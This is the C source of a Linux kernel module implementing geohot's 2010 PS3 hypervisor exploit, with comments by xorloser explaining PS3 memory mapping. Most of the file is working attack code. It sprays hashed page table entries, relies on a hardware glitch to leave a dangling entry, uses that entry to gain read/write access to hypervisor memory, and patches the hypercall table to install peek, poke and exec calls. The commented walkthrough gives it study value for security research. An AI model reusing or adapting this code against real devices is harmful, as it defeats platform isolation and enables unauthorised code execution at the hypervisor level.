// PS3 exploit code
//  c2010 geohot
//  I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY
//  
// Modified by xorloser in an attempt to make it more understandable.


// 
// Exploit Explanation
// 
// In order to understand how this exploit works, you need to understand
// how the mapping of PS3 memory is performed. I give a brief description
// below that should suffice for understanding how the exploit works.
// For a more in-depth understanding please refer to the documentation:
//   http://download.boulder.ibm.com/ibmdl/pub/software/dw/power/pa-ppcbook3.zip
//   https://www-01.ibm.com/chips/techlib/techlib.nsf/techdocs/1741C509C5F64B3300257460006FD68D/$file/CellBE_PXCell_Handbook_v1.11_12May08_pub.pdf
// 
// When programs access memory they see an address range from 0 to the
// upper address limit. For simplicity we will assume an upper address limit
// of 0xFFFFFFFF giving a program address range of 0x00000000 - 0xFFFFFFFF.
// The PS3 itself has 256MB of RAM which gives a RAM address range of
// 0x00000000 - 0x10000000. Memory mapping is employed to allow multiple
// programs to run at the same time with each program thinking it has access
// to the full address range which is larger than the available
// amount of RAM.
// 
// The programs address space is known as the Effective Address (EA) space.
// The actual RAM address range is known as the Real Address (RA) space.
// The intermediate mapping between EA space and RA space is known as the
// Virtual Address (VA) space.
// 
// In order to map a programs memory address (EA) to a RAM address (RA) the
// Segment Lookaside Buffer (SLB) first does the EA -> VA mapping. Then the
// Hashed Page Table (HTAB) does the VA -> RA mapping. Therefore the mapping
// from EA to RA is a two step process: EA -> VA -> RA
// 
// SLB  related code is in PS3SLB.h
// HTAB related code is in PS3HTAB.h
// 
// 
// Just to make things more complicated, on the PS3 there are also LPAR Addresses.
// These are equivalent of a Real Address for a particular LPAR (Logical Partition).
// These addresses are usually used with the lv1 syscalls.
// 
// Also Real Addresses are sometimes referred to as Physical Addresses (PA) since they
// address the actual physical RAM hardware.
// 
// xorloser - February 2010
// www.xorloser.com
// 

#include <linux/module.h>
#include <linux/kernel.h>	
#include <linux/init.h>	
#include <linux/syscalls.h>
#include <linux/fcntl.h>

#include <asm/abs_addr.h>
#include <asm/mmu.h>
#include <asm/lmb.h>
#include <asm/io.h>
#include <asm/tlb.h>
#include <asm/lv1call.h>

#include <linux/kernel.h>
#include <linux/threads.h>
#include <linux/pci.h>
#include <linux/sysdev.h>
#include <asm/lv1call.h>
#include <asm/pci-bridge.h>

#include <asm/uaccess.h>
#include <asm/hw_irq.h>
#include <linux/proc_fs.h>
#include <linux/smp_lock.h>

#include <linux/irq.h>
#include "PS3SLB.h"
#include "PS3HTAB.h"


// Special hardcoded addresses used for memory manipulation
#define SPECIAL_EA		0x5000000000000000
#define SPECIAL_VA		0x0000FFFF00000000
#define SPECIAL_VA_MASK	0xFFFFFFFF00000000

// Special flags used for memory manipulation
#define SPECIAL_VA_FLAGS_VALID			(HTABE_VALID)
#define SPECIAL_VA_FLAGS_VALID_LARGE	(HTABE_VALID|HTABE_LARGEPAGE)
#define SPECIAL_RA_FLAGS_READONLY		(HTABE_ACCESSED|HTABE_DIRTY|HTABE_COHERENT|HTABE_NOEXEC|HTABE_READONLY)
#define SPECIAL_RA_FLAGS_READWRITE		(HTABE_ACCESSED|HTABE_DIRTY|HTABE_COHERENT|HTABE_NOEXEC|HTABE_READWRITE)

// Macro for creating a special effective address from a base address
// and an index into the HTAB.
#define CALC_SPECIAL_EA(addr, htab_idx) \
	(u64)((addr) | (((u64)(htab_idx)/8)^((HTAB[(u64)(htab_idx)].AVPN>>5) & 0x1FFF)) << ((HTAB[(u64)(htab_idx)].L)?EXP_16MB:EXP_4KB))

// Macro for creating a special virtual address from a base address
// and an index into the HTAB.
#define CALC_SPECIAL_VA(addr, idx) \
	((u64)(addr) | (((u64)(htab_idx))<<16) | ((((((u64)htab_idx)>>3) ^ (((u64)htab_idx)<<4)) & 0x1800) >> 4))



#define PPE_ID0			0
#define PPE_ID1			1

#define PPE_CPU_ID0		0
#define PPE_CPU_ID1		1

static u64 gs_irq0, gs_irq1, gs_flags = 0;
static spinlock_t gs_mr_lock;

#define KERNEL_CHILL_BEGIN() \
{ \
	gs_irq0 = __pa(get_irq_chip_data(20)); \
	gs_irq1 = __pa(get_irq_chip_data(16)); \
	gs_mr_lock = SPIN_LOCK_UNLOCKED; \
	gs_flags = 0; \
	spin_lock_irqsave(&gs_mr_lock, gs_flags); \
	preempt_disable(); \
	lock_kernel(); \
	hard_irq_disable(); \
	lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID0, 0); \
	lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID1, 0); \
}

#define KERNEL_CHILL_END() \
{ \
	lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID1, gs_irq1); \
	lv1_configure_irq_state_bitmap(PPE_ID1, PPE_CPU_ID0, gs_irq0); \
	__hard_irq_enable(); \
	unlock_kernel(); \
	preempt_enable(); \
	spin_unlock_irqrestore(&gs_mr_lock, gs_flags); \
}


// Clears Instruction Cache
#define CLEAR_ICACHE() \
{ \
	u64 lpar_addr_tmp, muid; \
	lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr_tmp, &muid); \
	lv1_release_memory(lpar_addr_tmp); \
}

// Clears Data Cache
#define CACHE_LENGTH	0x100000
static volatile u64 cache_clear[CACHE_LENGTH / 8];
#define CLEAR_DCACHE() \
{ \
	memset((void*)cache_clear, 0xAA, CACHE_LENGTH); \
}




// Search the HTAB contents for a special entry that is still valid
// 
// returns:	 index of entry if found
//			< 0 if not found
int get_dangling_htab_entry_idx(void)
{
	int htab_idx;
	
	// Check HTAB contents for a "dangling" entry
	for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
	{
		if( HTABE_IS_VALID(HTAB[htab_idx]) &&
			(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
		{
			return htab_idx;
		}
	}
	return -1;
}


int is_exploit_stage1_done(void)
{
	int idx = get_dangling_htab_entry_idx();
	if(idx < 0)
		return 0;
	
	return 1;
}

int is_exploit_stage2_done(void)
{
	// This is the HTAB Entry that the exploit inserts.
	// It gives read/write access to real memory address 0 via SPECIAL_VA.
	// 0x0000FFFF_00000005
	// 0x00000000_00000196
	HTABE htabe;
	htabe_set(&htabe,
		SPECIAL_VA, SPECIAL_VA_FLAGS_VALID_LARGE,
		0, SPECIAL_RA_FLAGS_READWRITE);
	
	// Check if the exploit entry is already inserted in the HTAB
	if(	HTAB[1].Num[0] == htabe.Num[0] &&
		HTAB[1].Num[1] == htabe.Num[1] )
	{
		// exploit is already installed
		return 1;
	}
	else
	{
		// exploit is not yet fully installed
		return 0;
	}
}

int is_exploit_stage3_done(void)
{
	u64 ret, addr;
	addr = 0x2401FC00000;
	asm volatile(	"mr 3, %1\n"
					"li 11, 16\n"
					"sc 1\n"
					"mr %0, 3\n"
					: "=r" (ret)
					: "r" (addr)
					: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
	return (ret != 0xFFFFFFEC) ? 1 : 0;
}



// Perform first stage of exploit.
// 
// This allocates a block of memory and then points every
// unused HTAB Entry at this memory block.
// 
// It then frees the block of memory at which time the system
// is responsible for invalidating all HTAB entries that pointed
// to the block of memory.
// 
// The trick is to "glitch" the RAM with some external hardware during
// the time the system is invalidating all HTAB entries in order to
// stop the invalidation of a HTAB Entry from occuring.
// 
// If you are lucky and this occurs then you have a "dangling HTAB
// Entry" that will be utilised in the second stage of the exploit.
//
// args:	current exploit try number
//			total nuber of exploit tries
// returns:	1 if exploited successfully
//			0 if not exploited yet
int exploit_first_stage(int num, int total)
{
	int htab_idx;
	u64 lpar_addr, muid, status=0;
	volatile register int reg_cnt;
	
	// If already exploited, then return now
	if(	is_exploit_stage1_done() )
		return 1;
	
	// Allocate memory block to base the exploit around
	if( lv1_allocate_memory(SIZE_1MB, EXP_1MB, 0, 0, &lpar_addr, &muid) )
	{
		PDEBUG("STAGE1: Error allocating memory\n");
		return 0;
	}
	
	// The button should actually be pressed AFTER the HTAB write code below.
	// However the print takes a while to appear on the console, so we set it
	// to print ahead of time in the hope that it will appear at the correct time... :P
	PDEBUG(".\n");
	PDEBUG("vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv\n");
	PDEBUG("PRESS THE BUTTON IN THE MIDDLE OF THIS %d/%d\n", num, total);
	
	// Increment through all HTAB Entries looking for entries that are
	// unused or previously associated with this exploit.
	// Make all these entries point to the newly allocated memory block.
	// Start at entry 3 since the first few are used for special things.
	for(htab_idx=3; htab_idx<HTAB_COUNT; htab_idx++)
	{
		if( !HTABE_IS_VALID(HTAB[htab_idx]) ||
			(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
		{
			HTABE htabe;
			htabe_set_lpar(&htabe,
				CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID,
				lpar_addr, SPECIAL_RA_FLAGS_READWRITE);
			
			if( lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]) )
				PDEBUG("STAGE1: Error writing HTAB entry 0x%X:  %016lx %016lx\n", htab_idx, htabe.Num[0], htabe.Num[1]);
		}
	}
	
	
	KERNEL_CHILL_BEGIN();
	
	// clear caches
	CLEAR_ICACHE();
	CLEAR_DCACHE();
	
	// Delay for a while, then when in the middle of the delay
	// release then memory block before finishing the rest of the delay.
	// During this time the hardware glitch is done, and so by delaying
	// it is hoped that if the glitch misses its target it will not hit
	// something else that it should not.
	status = 1;
	#define RELEASE_MEM_DELAY 0x2000000
	for(reg_cnt=0; reg_cnt<RELEASE_MEM_DELAY; reg_cnt++)
	{
		// This checks if it is halfway through the delay.
		if(reg_cnt==(RELEASE_MEM_DELAY/2))
		{
			// Release memory and clear the data cache to ensure
			// all data gets written back to memory.
			status = lv1_release_memory(lpar_addr);
			CLEAR_DCACHE();
		}
	}
	
	KERNEL_CHILL_END();
	PDEBUG("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n");
	
	
	if(status)
		PDEBUG("STAGE1: Error releasing memory!\n");
	
	// Check if there are any valid htab entries that have been exploited
	htab_idx = get_dangling_htab_entry_idx();
	if(htab_idx < 0)
	{
		// Didn't successfully exploit a HTAB Entry
		return 0;
	}
	
	PDEBUG("STAGE1: Successfully glitched HTAB Contents!!!!!\n");
	for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
	{
		if( HTABE_IS_VALID(HTAB[htab_idx]) &&
			(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
		{
			PDEBUG("STAGE1: Glitched HTAB: 0x%016lx  0x%016lx\n", HTAB[htab_idx].Num[0], HTAB[htab_idx].Num[1]);
		}
	}
	return 1;
}


// Copy the current HTAB into a new virtual space
// 
// args:	ID of virtual space to copy to
//			lpar address of destination HTAB
//			real address of destination HTAB
//			lpar address of source HTAB
//			real address of source HTAB
void copy_htab_to_new_vas(u64 destVasID, u64 destHtabLpar, u64 destHtabRA,
										u64 srcHtabLpar, u64 srcHtabRA)
{
	u64 usb1_ra, usb2_ra, usb3_ra, usb4_ra;
	u64 usb1_lpar, usb2_lpar, usb3_lpar, usb4_lpar;
	u64 ea, ra, my_lpar;
	int htab_idx, slb_idx;
	HTABE* dest_htab;
	
	// I don't these hardcoded values are correct for non v2.42 firmwares...
	usb1_lpar = 0x4000001d0000;	usb1_ra = htab_ra_from_lpar(usb1_lpar);
	usb2_lpar = 0x4000001e0000;	usb2_ra = htab_ra_from_lpar(usb2_lpar);
	usb3_lpar = 0x4000001f0000;	usb3_ra = htab_ra_from_lpar(usb3_lpar);
	usb4_lpar = 0x400000200000;	usb4_ra = htab_ra_from_lpar(usb4_lpar);
//	PDEBUG("USB Addresses:\n");
//	PDEBUG("0x%016lx -> 0x%016lx\n", usb1_lpar, usb1_ra);
//	PDEBUG("0x%016lx -> 0x%016lx\n", usb2_lpar, usb2_ra);
//	PDEBUG("0x%016lx -> 0x%016lx\n", usb3_lpar, usb3_ra);
//	PDEBUG("0x%016lx -> 0x%016lx\n", usb4_lpar, usb4_ra);
	
	// get a readonly pointer to the new HTAB
	dest_htab = __ioremap(destHtabLpar, SIZE_1MB, PAGE_READONLY);
	
	// Copy the HTAB one entry at a time
	// (Skip the first entry as it contains the mapping that allows
	//  read/write access to the original HTAB contents)
	slb_read_all_entries();
	for(htab_idx=1; htab_idx<HTAB_COUNT; htab_idx++)
	{
		// ignore invalid entries
		if( !HTABE_IS_VALID(HTAB[htab_idx]) )
			continue;
		
		// Find this HTAB Entry in the SLB
		ea = 0xFFFFFFFFFFFFFFFF;
		for(slb_idx=0; slb_idx<SLB_COUNT; slb_idx++)
		{
			if( SLBE_IS_VALID(SLB[slb_idx]) &&
				SLBE_GET_VA(SLB[slb_idx]) == (HTABE_GET_VA(HTAB[htab_idx])&0xFFFFFFFFFFFFF000) )
			{
				ea = SLBE_GET_EA(SLB[slb_idx]);
			}
		}
		// If HTAB Entry isn't in SLB, then ignore it.
		// Or if it is our special entry then also ignore it.
		if(	ea == 0xFFFFFFFFFFFFFFFF ||
			ea == SPECIAL_EA )
			continue;
		
		// calc lpar from ra
		if(	HTAB[htab_idx].L )
			ra = HTAB[htab_idx].Num[1] & 0xFFFFFFFFFFFFF000;
		else
			ra = HTABE_GET_RA(HTAB[htab_idx]);
		my_lpar = 0xFFFFFFFFFFFFFFFF;
		if( ra >= 0x01000000 && ra < 0x10000000)
		{
			if( ra >= 0x08000000 ) {
				my_lpar = (ra-0x08000000);
			} else {
				my_lpar = 0x6c0058000000 | (ra-0x01000000);
			}
		}
		else if( (ra&0xFFFFFFFFFFF00000) == srcHtabRA )
			my_lpar = srcHtabLpar + (ra-srcHtabRA);
		else if( (ra&0xFFFFFFFFFFF00000) == destHtabRA )
			my_lpar = destHtabLpar + (ra-destHtabRA);
		else if( ra == usb1_ra )
			my_lpar = usb1_lpar;
		else if( ra == usb2_ra )
			my_lpar = usb2_lpar;
		else if( ra == usb3_ra )
			my_lpar = usb3_lpar;
		else if( ra == usb4_ra )
			my_lpar = usb4_lpar;
		else if( ra == 0x3e0000 )
			my_lpar = 0x4000001a0000;
		else if( ra == 0x3e1000 )
			my_lpar = 0x4000001a1000;
		else if( ra == 0x8d3000 )
			my_lpar = 0x30000000e000;
		else if( ra == 0x8dd000 )
			my_lpar = 0x300000010000;
		else if( ra == 0x202000 )
			my_lpar = 0x300000012000;
		else if( ra == 0x203000 )
			my_lpar = 0x300000014000;
		else if( ra == 0x3ac000 )
			my_lpar = 0x300000016000;
		else if( ra == 0x3ad000 )
			my_lpar = 0x300000018000;
		else if( ra >= 0x28000080000 && ra < 0x28000088000 )
			my_lpar = 0x3c0000108000 + (ra-0x28000080000);
		
		// If could not get lpar address then ignore this entry
		if(my_lpar == 0xFFFFFFFFFFFFFFFF)
		{
			//PDEBUG("%4x: %lx %lx  ... %lx -> %lx\n", i, g1, g2, va, ra);
			continue;
		}
		
		// Add HTAB Entry to new HTAB
		if( lv1_write_htab_entry(destVasID, htab_idx, HTAB[htab_idx].Num[0], my_lpar|(HTAB[htab_idx].Num[1]&0xFFF)) )
			PDEBUG("Write HTAB failed: %lx %lx\n", HTAB[htab_idx].Num[0], my_lpar|(HTAB[htab_idx].Num[1]&0xFFF));
		
		// Verify that the HTAB Entry was added correctly
		if( dest_htab[htab_idx].Num[0] != HTAB[htab_idx].Num[0] ||
			dest_htab[htab_idx].Num[1] != HTAB[htab_idx].Num[1] )
		{
			PDEBUG("Verify HTAB failed on index 0x%x\n", htab_idx);
			PDEBUG("%lx %lx --> %lx %lx\n",
				HTAB[htab_idx].Num[0], HTAB[htab_idx].Num[1],
				dest_htab[htab_idx].Num[0], dest_htab[htab_idx].Num[1]);
		}
	}
}






// Perform the second stage of the exploit.
// 
// This creates a new virtual address space which has its own HTAB.
// It then checks if the address of this new HTAB overlaps the
// memory pointed to by the "dangling HTAB Entry". If it does not it
// frees the virtual space and then tries again until it does overlap.
// 
int exploit_second_stage(void)
{
	int htab_idx;
	u64 htab_size, num_page_sizes, page_sizes, act_htab_size;
	u64 new_vas_id=0, new_htab_lpar_addr=0, new_htab_real_addr;
	u64 old_vas_id=0, old_htab_lpar_addr=0, old_htab_real_addr;
	HTABE* new_htab_rw;
	HTABE* old_htab_rw;
	u64 status, result;
	
	result = 0;
	if(	is_exploit_stage2_done() )
		return 1;
	if( !is_exploit_stage1_done() )
	{
		PDEBUG("STAGE2: Error: Exploited HTAB Entry not present\n");
		return 0;
	}
	
	
	// Create a new virtual address space.
	// The PS3 supports two large page sizes, so we specify 16MB and 1MB sized pages.
	htab_size = EXP_1MB;
	num_page_sizes = 2;
	page_sizes = PAGE_SIZES(EXP_16MB, EXP_1MB);
	new_vas_id = 0;
	if( lv1_construct_virtual_address_space(htab_size, num_page_sizes, page_sizes,
		&new_vas_id, &act_htab_size) )
	{
		PDEBUG("STAGE2: Error creating new virtual space\n");
		return 0;
	}
	if( new_vas_id == 0 )
	{
		PDEBUG("STAGE2: Error invalid VAS ID when creating new virtual space\n");
		return 0;
	}
	
	// Get the lpar and real addresses of the new HTAB
	lv1_map_htab(new_vas_id, &new_htab_lpar_addr);
	new_htab_real_addr = htab_ra_from_lpar(new_htab_lpar_addr);
	
	
	// Get the lpar and real addresses of the old HTAB
	lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id);
	lv1_map_htab(old_vas_id, &old_htab_lpar_addr);
	old_htab_real_addr = htab_ra_from_lpar(old_htab_lpar_addr);
	
	
	// Get the index of the exploited HTAB Entry
	// Then check if the exploited HTAB Entry overlaps with the new HTAB
	htab_idx = get_dangling_htab_entry_idx();
	if( htab_idx < 0 )
	{
		PDEBUG("STAGE2: Error exploit HTAB Entry not found\n");
		goto end;
	}
	if( new_htab_real_addr != HTABE_GET_RA(HTAB[htab_idx]) )
	{
		PDEBUG("STAGE2: Exploit HTAB Entry does not overlap new segment: 0x%016lx != 0x%016lx\n",
				new_htab_real_addr, HTABE_GET_RA(HTAB[htab_idx]));
		goto end;
	}
	else
	{
		PDEBUG("STAGE2: Exploit HTAB Entry overlaps new segment: 0x%016lx == 0x%016lx\n",
				new_htab_real_addr, HTABE_GET_RA(HTAB[htab_idx]));
	}
	
	// Add SLB mapping to access the memory pointed to by the exploited HTAB Entry
	// (This memory points to the new HTAB in the new Virtual Space)
	slb_add_segment(SPECIAL_EA, HTABE_GET_VA(HTAB[htab_idx]), SLBE_KP);
	
	// Generate an EA pointer to the memory pointed to be the exploited HTAB Entry
	// (This memory points to the new HTAB in the new Virtual Space)
	// Since this uses the exploited entry it allows write access to the new HTAB
	new_htab_rw = (HTABE*)CALC_SPECIAL_EA(SPECIAL_EA, htab_idx);
	
	// Use the write access we now have to the new HTAB to forcefully add an entry.
	// Add an entry to the new HTAB to enable write access to the contents of the
	// original HTAB.
	htabe_set(new_htab_rw,	SPECIAL_VA, SPECIAL_VA_FLAGS_VALID,
							old_htab_real_addr, SPECIAL_RA_FLAGS_READWRITE);
	

	// Create a copy of the original HTAB in the new virtual address space
	PDEBUG("STAGE2: About to copy HTAB contents\n");
	copy_htab_to_new_vas(new_vas_id,
		new_htab_lpar_addr, new_htab_real_addr,
		old_htab_lpar_addr, old_htab_real_addr);
	PDEBUG("STAGE2: Copied HTAB contents successfully\n");
	
	
	// Add SLB mapping to access the memory that contains the original HTAB
	slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP);
	
	// Switch to the new Virtual Address Space which uses
	// the newly created HTAB "copy".
	// (This makes it safe to alter the original HTAB contents).
	// 
	// Add entry to the original HTAB to give read/write access memory
	// starting at Real Address 0. This is the memory that is usually
	// blocked from access and contains the hypervisor.
	// 
	// Switch back to the original Virtual Address Space and the HTAB
	// which now contains the new read/write memory entry.
	PDEBUG("STAGE2: About to add read/write access to HTAB\n");
	KERNEL_CHILL_BEGIN();
	status = lv1_select_virtual_address_space(new_vas_id);
	
	// Add HTAB mapping to access memory starting at 0
	old_htab_rw = (HTABE*)SPECIAL_EA;
	htabe_set(&old_htab_rw[1],
		SPECIAL_VA, SPECIAL_VA_FLAGS_VALID_LARGE,
		0, SPECIAL_RA_FLAGS_READWRITE);
	
	lv1_select_virtual_address_space(old_vas_id);
	KERNEL_CHILL_END();
	PDEBUG("STAGE2: HTAB alteration complete: %ld\n", status);
	
	// Add SLB mapping to access memory starting at 0
	slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP|SLBE_L);
	
	// success
	result = 1;
	
end:
	if(new_htab_lpar_addr) lv1_unmap_htab(new_htab_lpar_addr);
	if(new_vas_id) lv1_destruct_virtual_address_space(new_vas_id);
	return result;
}



// By the time this is called the exploit should have already been triggered.
// This then installs the peek and poke syscalls via the exploit.
void install_hypercalls(void)
{
	u64 lpar_addr, real_addr, muid, invalid_call_addr;
	u64* hvc_table_addr;
	u64* lpar_addr_exec;
	u32* addr32;
	u64* addr64;
	int offset;
	
	if(	is_exploit_stage3_done() )
		return;
	if(	!is_exploit_stage2_done() )
	{
		PDEBUG("STAGE3: Error inserting hypercalls, exploit is not installed\n");
		return;
	}
	
	// Allocate a new 4kb page to inject some code into.
	// It needs to be remapped to set the executable flag for it,
	// otherwise the code cannot be executed.
	lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid);
	real_addr = htab_ra_from_lpar(lpar_addr);
	lpar_addr_exec = __ioremap(lpar_addr, SIZE_4KB, PAGE_SHARED_X);
	
	// insert code for the new syscalls we will be adding
	
	// peek syscall code
	lpar_addr_exec[0] = 0xE86300004E800020;	// ld  %r3, 0(%r3)		blr
	
	// poke syscall code
	lpar_addr_exec[1] = 0xF883000038600000;	// std %r4, 0(%r3)		li  %r3, 0
	lpar_addr_exec[2] = 0x4E80002000000000;	// blr
	
	// exec syscall code
	lpar_addr_exec[3] = 0x7C6903a64e800421;	// mtctr %r3			bctrl
	lpar_addr_exec[4] = 0x4E80002000000000;	// blr
	
	
	// Add SLB mapping to access memory starting at 0
	slb_add_segment(SPECIAL_EA, SPECIAL_VA, SLBE_KP|SLBE_L);
	
	// This bit was added by xorloser to find the address of the syscall table
	// instead of using a version specific harcoded address.
	// 
	// This first looks for the lv1_invalid_hvcall handler function,
	// then finds references to this handler which should be entries
	// in the syscall table. It then gets the start of this table to
	// use as the syscall table address.
	PDEBUG("STAGE3: Searching for hypercall table...\n");
	hvc_table_addr = 0;
	for(offset=0; offset<SIZE_4MB - 16; offset+=4)
	{
		addr32 = (u32*)(SPECIAL_EA + offset);
		if(	addr32[0] == 0x38600000 &&
			addr32[1] == 0x6463ffff &&
			addr32[2] == 0x6063ffec &&
			addr32[3] == 0x4e800020 )
		{
			invalid_call_addr = offset;
			PDEBUG("STAGE3: Found lv1_invalid_hvcall at %lx\n", invalid_call_addr);
			for(offset=0; offset<SIZE_4MB - 16; offset+=8)
			{
				addr64 = (u64*)(SPECIAL_EA + offset);
				if(	addr64[0] == invalid_call_addr &&
					addr64[1] == invalid_call_addr &&
					addr64[2] != invalid_call_addr &&
					addr64[3] == invalid_call_addr )
				{
					hvc_table_addr = (u64*)(SPECIAL_EA + offset - (22*8));
					break;
				}
			}
			break;
		}
	}
	
	// Only add new syscalls if the syscall table was found.
	if(hvc_table_addr)
	{
		PDEBUG("STAGE3: Found hypercall table at %lx\n", (u64)hvc_table_addr);
		PDEBUG("STAGE3: Inserting hypercalls\n");
		hvc_table_addr[16] = real_addr;			// peek
		hvc_table_addr[20] = real_addr+0x08;	// poke
		hvc_table_addr[21] = real_addr+0x18;	// exec
		if( is_exploit_stage3_done() )
			PDEBUG("STAGE3: Successfully inserted hypercalls\n");
		else
			PDEBUG("STAGE3: Error inserting hypercalls\n");
	}
	else
	{
		PDEBUG("STAGE3: Error searching for hypercall table\n");
	}
}


// perform the ps3 exploit
// 
// args:	number of times to loop waiting for the exploit
void ps3_exploit(int num)
{
	int i, htab_idx;
	
	// if 0 times is specified, reset all htab entries
	if(num == 0)
	{
		PDEBUG("Resetting PS3Exploit HTAB Entries\n");
		for(htab_idx=0; htab_idx<HTAB_COUNT; htab_idx++)
		{
			if( !HTABE_IS_VALID(HTAB[htab_idx]) ||
				(HTABE_GET_VA(HTAB[htab_idx]) & SPECIAL_VA_MASK) == SPECIAL_VA )
			{
				lv1_write_htab_entry(0, htab_idx, 0, 0);
			}
		}
		return;
	}
	
	// otherwise attempt the exploit the given amount of times
	for(i=0; i<num; i++)
	{
		if( !exploit_first_stage(i, num) )
			continue;
		if( !exploit_second_stage() )
			continue;
		
		install_hypercalls();
		break;
	}
}

